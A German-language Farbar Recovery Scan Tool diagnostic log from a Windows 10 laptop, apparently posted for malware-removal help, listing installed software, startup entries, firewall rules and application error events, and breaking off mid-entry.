2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\Dism 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\Com 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\system32\AdvancedInstallers 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\ShellExperiences 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\ShellComponents 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\Provisioning 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\IME 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Windows\bcastdvr 2021-01-17 17:21 - 2019-03-19 05:52 - 000000000 ____D C:\Program Files\Windows Defender 2021-01-14 23:57 - 2019-06-29 10:53 - 002877952 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintConfig.dll 2021-01-14 21:56 - 2020-12-14 21:40 - 000000000 ____D C:\Users\jessi\AppData\Roaming\Panda Security ==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse ======== 2020-07-14 04:31 - 2020-09-01 20:49 - 000000505 _____ () C:\Users\jessi\AppData\Local\karboncalligraphyrc 2020-12-11 12:32 - 2020-12-11 12:32 - 000000046 _____ () C:\Users\jessi\AppData\Local\klanguageoverridesrc 2020-07-14 01:16 - 2021-02-08 00:25 - 000002648 _____ () C:\Users\jessi\AppData\Local\krita-sysinfo.log 2020-07-14 01:16 - 2021-02-08 12:34 - 000523916 _____ () C:\Users\jessi\AppData\Local\krita.log 2020-07-16 13:07 - 2020-12-15 22:39 - 000102182 _____ () C:\Users\jessi\AppData\Local\kritacrash.log 2021-02-08 12:34 - 2021-02-08 12:34 - 000000215 _____ () C:\Users\jessi\AppData\Local\kritadisplayrc 2020-07-14 01:16 - 2021-02-08 12:34 - 000029047 _____ () C:\Users\jessi\AppData\Local\kritarc 2020-07-14 01:16 - 2020-12-05 20:08 - 000029822 _____ () C:\Users\jessi\AppData\Local\kritarc.backup 2020-08-12 14:00 - 2020-08-12 14:00 - 000003341 _____ () C:\Users\jessi\AppData\Local\recently-used.xbel ==================== SigCheck ============================ (Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.) ==================== Ende von FRST.txt ======================== Code:
ATTFilter Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 08-02-2021 01 durchgeführt von jessi (10-02-2021 11:56:32) Gestartet von C:\Users\jessi\Downloads Windows 10 Home Version 1909 18363.1316 (X64) (2020-01-12 17:24:50) Start-Modus: Normal ========================================================== ==================== Konten: ============================= Administrator (S-1-5-21-2182537211-1894200014-2545026951-500 - Administrator - Disabled) DefaultAccount (S-1-5-21-2182537211-1894200014-2545026951-503 - Limited - Disabled) Gast (S-1-5-21-2182537211-1894200014-2545026951-501 - Limited - Disabled) jessi (S-1-5-21-2182537211-1894200014-2545026951-1001 - Administrator - Enabled) => C:\Users\jessi WDAGUtilityAccount (S-1-5-21-2182537211-1894200014-2545026951-504 - Limited - Disabled) ==================== Sicherheits-Center ======================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} ==================== Installierte Programme ====================== (Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.) Cisco Webex Meetings (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\ActiveTouchMeetingClient) (Version: 41.1.3 - Cisco Webex LLC) Citavi 6 (HKLM-x32\...\{6A331045-8FF4-4BC9-9C56-E593ACAE28C2}) (Version: 6.7.0.0 - Swiss Academic Software) DeepL (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\DeepL) (Version: 1.17.1 - DeepL GmbH) Epic Games Launcher Prerequisites (x64) (HKLM\...\{F9C5C994-F6B9-4D75-B3E7-AD01B84073E9}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden G*Power 3.1.9.7 (HKLM-x32\...\{FA3666A9-FF30-4777-B906-305B1EF0486E}) (Version: 3.1.97 - Franz Faul, Uni Kiel, Germany) HP Deskjet 3520 series - Grundlegende Software für das Gerät (HKLM\...\{15B2F0E3-3FAC-4495-B0FD-398EECFA4100}) (Version: 28.0.1315.0 - Hewlett-Packard Co.) HP Deskjet 3520 series Hilfe (HKLM-x32\...\{6B953497-169C-4929-9AA9-A9F510347468}) (Version: 27.0.0 - Hewlett Packard) HP Deskjet 3520 series Setup Guide (HKLM-x32\...\{AEEDCEB7-00B8-4BE1-B492-AB04803D5F1E}) (Version: 27.0.0 - Hewlett Packard) HP Photo Creations (HKLM-x32\...\HP Photo Creations) (Version: 1.0.0.7702 - HP) HP Update (HKLM-x32\...\{912D30CF-F39E-4B31-AD9A-123C6B794EE2}) (Version: 5.005.002.002 - Hewlett-Packard) JASP 0.14.0.0 (HKLM\...\{57ED3787-26E5-43C1-A78E-509872ED9BCE}) (Version: 0.14.0.0 - Universiteit van Amsterdam) Krita (x64) 4.3.0 (HKLM\...\Krita_x64) (Version: 4.3.0.0 - Krita Foundation) Launcher Prerequisites (x64) (HKLM-x32\...\{43a03b9c-4770-409c-a999-587b60700b63}) (Version: 1.0.0.0 - Epic Games, Inc.) Hidden Microsoft 365 - de-de (HKLM\...\O365HomePremRetail - de-de) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - en-us (HKLM\...\O365HomePremRetail - en-us) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - fr-fr (HKLM\...\O365HomePremRetail - fr-fr) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - it-it (HKLM\...\O365HomePremRetail - it-it) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 - nl-nl (HKLM\...\O365HomePremRetail - nl-nl) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft 365 Apps for Enterprise - de-de (HKLM\...\O365ProPlusRetail - de-de) (Version: 16.0.13127.21064 - Microsoft Corporation) Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 88.0.705.63 - Microsoft Corporation) Microsoft Edge Update (HKLM-x32\...\Microsoft Edge Update) (Version: 1.3.139.71 - ) Microsoft OneDrive (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\OneDriveSetup.exe) (Version: 21.002.0104.0005 - Microsoft Corporation) Microsoft Teams (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Teams) (Version: 1.3.00.13565 - Microsoft Corporation) Microsoft Update Health Tools (HKLM\...\{0BCA8FBE-0C1C-4C65-98A3-5D34AAF41737}) (Version: 2.70.0.0 - Microsoft Corporation) Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation) Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation) Mozilla Firefox 84.0 (x64 de) (HKLM\...\Mozilla Firefox 84.0 (x64 de)) (Version: 84.0 - Mozilla) Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 77.0.1 - Mozilla) Office 16 Click-to-Run Extensibility Component (HKLM\...\{90160000-008C-0000-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Licensing Component (HKLM\...\{90160000-007E-0000-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0407-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0409-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-040C-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0410-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden Office 16 Click-to-Run Localization Component (HKLM\...\{90160000-008C-0413-1000-0000000FF1CE}) (Version: 16.0.13127.21064 - Microsoft Corporation) Hidden R for Windows 4.0.3 (HKLM\...\R for Windows 4.0.3_is1) (Version: 4.0.3 - R Core Team) Respondus LockDown Browser OEM (HKLM-x32\...\{00D779A4-92E4-404A-A502-045E1D6E3C34}) (Version: 2.00.601 - Respondus) RStudio (HKLM-x32\...\RStudio) (Version: 1.3.1093 - RStudio) Skype Version 8.66 (HKLM-x32\...\Skype_is1) (Version: 8.66 - Skype Technologies S.A.) SleepTimer Ultimate 2.3 (HKLM-x32\...\{0EE56463-49B2-45E1-B74F-3E0139DBC986}_is1) (Version: - Christian Handorf) Spotify (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Spotify) (Version: 1.1.52.687.gf5565fe5 - Spotify AB) Teams Machine-Wide Installer (HKLM-x32\...\{731F6BAA-A986-45A4-8936-7C3AAAAA760B}) (Version: 1.3.0.4461 - Microsoft Corporation) Telegram Desktop version 2.5.8 (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1) (Version: 2.5.8 - Telegram FZ-LLC) Vivaldi (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\Vivaldi) (Version: 3.5.2115.81 - Vivaldi Technologies AS.) Zoom (HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\ZoomUMX) (Version: 5.4.1 (58698.1027) - Zoom Video Communications, Inc.) Packages: ========= Fotos-Add-On -> C:\Program Files\WindowsApps\Microsoft.Windows.Photos.DLC.Main_2017.39121.36610.0_x64__8wekyb3d8bbwe [2020-12-26] (Microsoft Corporation) Intel® Grafik-Kontrollraum -> C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt [2020-12-31] (INTEL CORP) [Startup Task] Intel® Graphics Control Panel -> C:\Program Files\WindowsApps\AppUp.IntelGraphicsControlPanel_3.3.0.0_x64__8j3eq9eme6ctt [2020-01-12] (INTEL CORP) LinkedIn -> C:\Program Files\WindowsApps\7EE7776C.LinkedInforWindows_2.1.7098.0_neutral__w1wdnht996qgy [2020-05-10] (LinkedIn) March of Empires: War of Lords -> C:\Program Files\WindowsApps\A278AB0D.MarchofEmpires_5.3.1.1_x86__h6adky7gbf63m [2021-01-14] (Gameloft SE) McAfee® Personal Security -> C:\Program Files\WindowsApps\5A894077.McAfeeSecurity_2.1.54.0_x64__wafk5atnkzcwy [2020-12-04] (McAfee LLC.) Media Engine-Add-On für Fotos -> C:\Program Files\WindowsApps\Microsoft.Photos.MediaEngineDLC_1.0.0.0_x64__8wekyb3d8bbwe [2020-07-01] (Microsoft Corporation) Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x64__8wekyb3d8bbwe [2020-05-10] (Microsoft Corporation) [MS Ad] Microsoft Advertising SDK for XAML -> C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1811.1.0_x86__8wekyb3d8bbwe [2020-05-10] (Microsoft Corporation) [MS Ad] Microsoft Solitaire Collection -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.9.1252.0_x64__8wekyb3d8bbwe [2021-02-01] (Microsoft Studios) [MS Ad] Microsoft To Do -> C:\Program Files\WindowsApps\Microsoft.Todos_2.37.4392.0_x64__8wekyb3d8bbwe [2021-02-09] (Microsoft Corporation) [Startup Task] Microsoft Whiteboard -> C:\Program Files\WindowsApps\Microsoft.Whiteboard_21.10111.5555.0_x64__8wekyb3d8bbwe [2021-02-09] (Microsoft Corporation) MyASUS -> C:\Program Files\WindowsApps\B9ECED6F.ASUSPCAssistant_2.3.13.0_x64__qmba6cd70vzyy [2021-02-09] (ASUSTeK COMPUTER INC.) Realtek Audio Control -> C:\Program Files\WindowsApps\RealtekSemiconductorCorp.RealtekAudioControl_1.2.175.0_x64__dt26b99r8h8gj [2020-01-12] (Realtek Semiconductor Corp) ==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ============== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{1019ADC7-17CB-4489-AFD5-6642C7400ACE}\localserver32 -> C:\Users\jessi\AppData\Local\Webex\Webex\Applications\ptOIEx64.exe (Cisco WebEx LLC -> Cisco WebEx LLC) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{19A6E644-14E6-4A60-B8D7-DD20610A871D}\InprocServer32 -> C:\Users\jessi\AppData\Local\Microsoft\TeamsMeetingAddin\1.0.20091.2\x64\Microsoft.Teams.AddinLoader.dll (Microsoft Corporation -> Microsoft Corporation) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{BCA9D37C-CA60-4160-9115-97A00F24702D}\localserver32 -> C:\Users\jessi\AppData\Local\Vivaldi\Application\3.5.2115.81\notification_helper.exe (Vivaldi Technologies AS -> Vivaldi Technologies AS) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{CB965DF1-B8EA-49C7-BDAD-5457FDC1BF92}\InprocServer32 -> C:\Users\jessi\AppData\Local\Microsoft\TeamsMeetingAddin\1.0.20091.2\x64\Microsoft.Teams.AddinLoader.dll (Microsoft Corporation -> Microsoft Corporation) ==================== Codecs (Nicht auf der Ausnahmeliste) ==================== ==================== Verknüpfungen & WMI ======================== ==================== Geladene Module (Nicht auf der Ausnahmeliste) ============= 2020-12-31 04:24 - 2020-12-31 04:24 - 042499072 _____ (Intel Corporation) [Datei ist nicht signiert] C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt\IGCC.dll 2020-01-12 17:58 - 2020-01-12 17:58 - 000000000 ____L (Microsoft Corporation) C:\Program Files\Microsoft Office\Root\Office16\AppVIsvSubsystems64.dll 2020-01-12 17:58 - 2020-01-12 17:58 - 000000000 ____L (Microsoft Corporation) C:\Program Files\Microsoft Office\Root\Office16\c2r64.dll ==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ======== ==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ================== ==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ================= ==================== Internet Explorer (Nicht auf der Ausnahmeliste) ========== HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://asus17win10.msn.com/?pc=ASTE HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://asus17win10.msn.com/?pc=ASTE SearchScopes: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = SearchScopes: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\root\Office16\OCHelper.dll [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) BHO: Citavi Picker -> {609D670F-B735-4da7-AC6D-F3BD358E325E} -> C:/Program Files (x86)/Internet Explorer/Citavi Picker/x64/SwissAcademic.Citavi.IEPicker.DLL => Keine Datei BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\OCHelper.dll [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.) IE trusted site: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\sharepoint.com -> hxxps://technischeunivers049-files.sharepoint.com ==================== Hosts Inhalt: ========================= (Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.) 2019-03-19 05:49 - 2019-03-19 05:49 - 000000824 _____ C:\Windows\system32\drivers\etc\hosts ==================== Andere Bereiche =========================== (Aktuell gibt es keinen automatisierten Fix für diesen Bereich.) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\jessi\Downloads\4k-space-wallpaper-1.jpg DNS Servers: 192.168.178.1 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: ) ist aktiviert. ==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge == (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) HKLM\...\StartupApproved\Run: => "SecurityHealth" HKLM\...\StartupApproved\Run32: => "TeamsMachineInstaller" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "CiscoMeetingDaemon" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "com.squirrel.Teams.Teams" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "OneDrive" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "DeepL" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "Skype for Desktop" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "Lync" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "Spotify" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "CCleaner Smart Cleaning" ==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================ (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) FirewallRules: [{EF2D2744-B255-4DAD-8D60-6AC4DCE1DA15}] => (Allow) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNear.exe (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) FirewallRules: [{6A6A9196-8941-4E11-96D0-821AEC0D5FC4}] => (Allow) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemoteAgent.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) FirewallRules: [{8AAB62A0-4D28-452F-9F92-665189A7318D}] => (Allow) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemoteAgent.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) FirewallRules: [TCP Query User{A663B109-6C6C-4657-88DD-E6F7EA09534A}C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicator.exe] => (Block) C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicator.exe (Hewlett Packard -> Hewlett-Packard Co.) FirewallRules: [UDP Query User{A1DCE2B1-A814-40AC-BBAB-20A5564D2ED1}C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicator.exe] => (Block) C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicator.exe (Hewlett Packard -> Hewlett-Packard Co.) FirewallRules: [TCP Query User{25C94A63-D8A4-4531-A5EC-5C3433ADA0DC}C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicatorcom.exe] => (Allow) C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicatorcom.exe (Hewlett Packard -> Hewlett-Packard Co.) FirewallRules: [UDP Query User{66CBD5B0-FDBA-4511-9791-EDA032685912}C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicatorcom.exe] => (Allow) C:\program files\hp\hp deskjet 3520 series\bin\hpnetworkcommunicatorcom.exe (Hewlett Packard -> Hewlett-Packard Co.) ==================== Wiederherstellungspunkte ========================= ACHTUNG: Systemwiederherstellung ist deaktiviert (Total:118.34 GB) (Free:35 GB) (30%) ==================== Fehlerhafte Geräte im Gerätemanager ============ ==================== Fehlereinträge in der Ereignisanzeige: ======================== Applikationsfehler: ================== Error: (02/10/2021 02:56:14 AM) (Source: Microsoft-Windows-Perflib) (EventID: 1020) (User: NT-AUTORITÄT) Description: Die erforderliche Puffergröße ist größer als die an die Collect-Funktion der DLL für erweiterbare Leistungsindikatoren "C:\Windows\System32\perfts.dll" für den Dienst "LSM" übergebene Größe. Die Puffergröße war 25120, und die erforderliche Größe betrug 35248. Error: (02/09/2021 01:38:48 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: ImagingDevices.exe, Version: 10.0.18362.1, Zeitstempel: 0x5fcdec8b Name des fehlerhaften Moduls: unknown, Version: 0.0.0.0, Zeitstempel: 0x00000000 Ausnahmecode: 0xc0000005 Fehleroffset: 0x02cf40b3 ID des fehlerhaften Prozesses: 0x25a0 Startzeit der fehlerhaften Anwendung: 0x01d6fe0e893c0002 Pfad der fehlerhaften Anwendung: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Pfad des fehlerhaften Moduls: unknown Berichtskennung: e19592b2-1f11-409d-b347-9c8f22833063 Vollständiger Name des fehlerhaften Pakets: Anwendungs-ID, die relativ zum fehlerhaften Paket ist: Error: (02/08/2021 10:07:44 AM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: ImagingDevices.exe, Version: 10.0.18362.1, Zeitstempel: 0x5fcdec8b Name des fehlerhaften Moduls: unknown, Version: 0.0.0.0, Zeitstempel: 0x00000000 Ausnahmecode: 0xc0000005 Fehleroffset: 0x03095f49 ID des fehlerhaften Prozesses: 0x255c Startzeit der fehlerhaften Anwendung: 0x01d6fda85e1e4855 Pfad der fehlerhaften Anwendung: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Pfad des fehlerhaften Moduls: unknown Berichtskennung: a3892609-3c23-4913-a8b1-e6af170ca221 Vollständiger Name des fehlerhaften Pakets: Anwendungs-ID, die relativ zum fehlerhaften Paket ist: Error: (02/07/2021 09:06:23 PM) (Source: Application Hang) (EventID: 1002) (User: ) Description: Das Programm krita.exe Version 0.0.0.0 hat die Interaktion mit Windows beendet und wurde geschlossen. Überprüfen Sie den Problemverlauf in der Systemsteuerung "Sicherheit und Wartung", um nach weiteren Informationen zum Problem zu suchen. Prozess-ID: ed0 Startzeit: 01d6fcc05acafb8f Beendigungszeit: 2033 Anwendungspfad: C:\Program Files\Krita (x64)\bin\krita.exe Bericht-ID: f4ecb404-444e-4121-bdd0-2f0db9a65acd Vollständiger Name des fehlerhaften Pakets: Relative Anwendungs-ID des fehlerhaften Pakets: Absturztyp: Unknown Error: (02/07/2021 06:14:20 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: igfxEM.exe, Version: 6.15.100.8141, Zeitstempel: 0x5e91ee97 Name des fehlerhaften Moduls: ntdll.dll, Version: 10.0.18362.1316, Zeitstempel: 0x45a49e53 Ausnahmecode: 0xc0000374 Fehleroffset: 0x00000000000f9059 ID des fehlerhaften Prozesses: 0xfe0 Startzeit der fehlerhaften Anwendung: 0x01d6f5236f579d8c Pfad der fehlerhaften Anwendung: C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_cb5b3ac4d6a4f65a\igfxEM.exe Pfad des fehlerhaften Moduls: C:\Windows\SYSTEM32\ntdll.dll Berichtskennung: 6f8ea183-10c2-40b3-bfc3-cb30f3bc3a61 Vollständiger Name des fehlerhaften Pakets: Anwendungs-ID, die relativ zum fehlerhaften Paket ist: Error: (02/07/2021 07:48:28 AM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: WindowsInternal.ComposableShell.Experiences.TextInput.InputApp.e, Version: 10.0.18362.1198, Zeitstempel: 0x5f9c9281 Name des fehlerhaften Moduls: WindowsInternal.ComposableShell.Experiences.TextInput.dll, Version: 10.0.18362.1171, Zeitstempel: 0x5f7fdcb5 Ausnahmecode: 0xc0000409 Fehleroffset: 0x000000000037bcde ID des fehlerhaften Prozesses: 0x22ec Startzeit der fehlerhaften Anwendung: 0x01d6f578c8b872c6 Pfad der fehlerhaften Anwendung: C:\Windows\SystemApps\InputApp_cw5n1h2txyewy\WindowsInternal.ComposableShell.Experiences.TextInput.InputApp.exe Pfad des fehlerhaften Moduls: C:\Windows\TextInput\WindowsInternal.ComposableShell.Experiences.TextInput.dll Berichtskennung: 3188d1d0-8a7a-4b3a-8033-49113a6b6386 Vollständiger Name des fehlerhaften Pakets: InputApp_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy Anwendungs-ID, die relativ zum fehlerhaften Paket ist: App Error: (01/31/2021 04:30:24 PM) (Source: Microsoft-Windows-Spell-Checking) (EventID: 31) (User: DESKTOP-3CDKKUQ) Description: Fehler beim Aktualisieren der benutzerdefinierten Wortliste "1": -2147024864. Die Rechtschreibprüfung ist weiterhin verfügbar, diese Benutzerwortliste wird jedoch nicht aktualisiert. Error: (01/30/2021 12:46:53 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: Microsoft.Photos.exe, Version: 2020.20110.11001.0, Zeitstempel: 0x5fac1c27 Name des fehlerhaften Moduls: Windows.UI.Xaml.dll, Version: 10.0.18362.1316, Zeitstempel: 0xaefa6537 Ausnahmecode: 0xc000027b Fehleroffset: 0x0000000000712bf0 ID des fehlerhaften Prozesses: 0x4b08 Startzeit der fehlerhaften Anwendung: 0x01d6f6fd91c9b130 Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2020.20110.11001.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe Pfad des fehlerhaften Moduls: C:\Windows\System32\Windows.UI.Xaml.dll Berichtskennung: 6a16589c-23b3-449c-9f24-53eb9eda9303 Vollständiger Name des fehlerhaften Pakets: Microsoft.Windows.Photos_2020.20110.11001.0_x64__8wekyb3d8bbwe Anwendungs-ID, die relativ zum fehlerhaften Paket ist: App Systemfehler: ============= Error: (02/10/2021 08:50:45 AM) (Source: Microsoft-Windows-WLAN-AutoConfig) (EventID: 10003) (User: NT-AUTORITÄT) Description: Das WLAN-Erweiterungsmodul wurde unerwartet beendet. Modulpfad: C:\Windows\system32\IntelIHVRouter08.dll Error: (02/10/2021 08:50:45 AM) (Source: Microsoft-Windows-WLAN-AutoConfig) (EventID: 10003) (User: NT-AUTORITÄT) Description: Das WLAN-Erweiterungsmodul wurde unerwartet beendet. Modulpfad: C:\Windows\system32\IntelIHVRouter08.dll Error: (02/10/2021 08:50:33 AM) (Source: Microsoft-Windows-WLAN-AutoConfig) (EventID: 10003) (User: NT-AUTORITÄT) Description: Das WLAN-Erweiterungsmodul wurde unerwartet beendet. Modulpfad: C:\Windows\system32\IntelIHVRouter08.dll Error: (02/10/2021 08:45:38 AM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Der Dienst "Windows Search" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 30000 Millisekunden durchgeführt: Neustart des 